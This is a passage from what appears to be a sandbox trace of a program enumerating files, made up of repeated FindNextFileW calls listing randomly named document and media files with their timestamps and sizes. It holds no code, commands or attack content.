ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x10e96, dwReserved0=0x0, dwReserved1=0x0, cFileName="qWCrNc.m4a", cAlternateFileName="")) returned 1 [0139.777] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc700, dwReserved0=0x0, dwReserved1=0x0, cFileName="cgtqEFU0PAhrauJ.ods", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6539, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z1vXQLb4e3vCWmHziUz.mkv", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x80d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="U3BnARny7QLta.mp4", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16804, dwReserved0=0x0, dwReserved1=0x0, cFileName="7jSTZlo2FBO75BUO.wav", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x176d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OxtG5eiXbm.xls", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sAXOlTuEN.odt", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x185b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="S1VrbK55Uey.bmp", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8235, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWHuuMWix2.flv", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="fUsEMWHFeMlUg8RpMG.ots", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x10386, dwReserved0=0x0, dwReserved1=0x0, cFileName="F4BCJQiL.ots", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x796b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YizWtOq9sqniAiG.pptx", cAlternateFileName="")) returned 1 [0139.778] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xe324, dwReserved0=0x0, dwReserved1=0x0, cFileName="SfTEIxbdxeH16.wav", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xee8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICn9FymqAtw6QQL.ppt", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7c37, dwReserved0=0x0, dwReserved1=0x0, cFileName="ewbUbaNVSvHfRRfQfQLC.xls", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6b5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="svuJsC.pdf", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x124eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gh4zJ.pps", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa869, dwReserved0=0x0, dwReserved1=0x0, cFileName="qys9GnLkOeS.odt", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x592c, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4eytQpoJk.swf", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8f30, dwReserved0=0x0, dwReserved1=0x0, cFileName="evMqhpDEt7CXv.mp3", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd194, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbnq0tEevfYiPYev3.flv", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13ae1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ofYpMQKf1RjCMx.wav", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa9e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="L1fyabptENWoGXu.rtf", cAlternateFileName="")) returned 1 [0139.779] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12529, dwReserved0=0x0, dwReserved1=0x0, cFileName="hoPVmBvF77.odt", cAlternateFileName="")) returned 1 [0139.780] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbc43, dwReserved0=0x0, dwReserved1=0x0, cFileName="umVoob.csv", cAlternateFileName="")) returned 1 [0139.780] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6596, dwReserved0=0x0, dwReserved1=0x0, cFileName="RyYcx2F2hgV.gif", cAlternateFileName="")) returned 1 [0139.780] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AhwQOJysH9.jpg", cAlternateFileName="")) returned 1 [0139.780] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12975, dwReserved0=0x0, dwReserved1=0x0, cFileName="eQwKBctI5AfYjbVKmqeN.ods", cAlternateFileName="")) returned 1 [0139.843] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfd50, dwReserved0=0x0, dwReserved1=0x0, cFileName="6R7qq9DkqNA3WVHMTs.doc", cAlternateFileName="")) returned 1 [0139.843] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="KAk0a7xY4jTir.m4a", cAlternateFileName="")) returned 1 [0139.843] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x92e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="5n4Otxttbgfrkyd1Qv.mp3", cAlternateFileName="")) returned 1 [0139.843] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1361c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZRruaCKjxo6i.ots", cAlternateFileName="")) returned 1 [0139.843] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x91ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="oNmnCAGLhaZCfP.bmp", cAlternateFileName="")) returned 1 [0139.843] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449a6bc0, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x155ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="B2EjwcG.xls", cAlternateFileName="")) returned 1 [0139.845] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="tcambCkECjq.ods", cAlternateFileName="")) returned 1 [0139.845] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11a0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1WjGsbbxyz9w44lK.jpg", cAlternateFileName="")) returned 1 [0139.845] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xad00, dwReserved0=0x0, dwReserved1=0x0, cFileName="85sWKB.jpg", cAlternateFileName="")) returned 1 [0139.845] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15a5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="F01GLe.odt", cAlternateFileName="")) returned 1 [0139.846] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x10636, dwReserved0=0x0, dwReserved1=0x0, cFileName="7wJ29fsIwS36l.ods", cAlternateFileName="")) returned 1 [0139.846] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x101cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bv3be5Un8YJj.avi", cAlternateFileName="")) returned 1 [0139.846] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="LLAm0.pps", cAlternateFileName="")) returned 1 [0139.846] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NnhUiKm1fKnUDbh8LQYp.mp4", cAlternateFileName="")) returned 1 [0139.847] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1769e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EqQ64IKq2Th.pptx", cAlternateFileName="")) returned 1 [0139.847] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c9a4d6, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c9a4d6, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x111e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WVJ9AocI35l55mCp.jpg", cAlternateFileName="")) returned 1 [0139.847] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf281, dwReserved0=0x0, dwReserved1=0x0, cFileName="kmB0a6WlogU.gif", cAlternateFileName="")) returned 1 [0139.847] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7UtZQV2KEwEgGRw.csv", cAlternateFileName="")) returned 1 [0139.847] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, 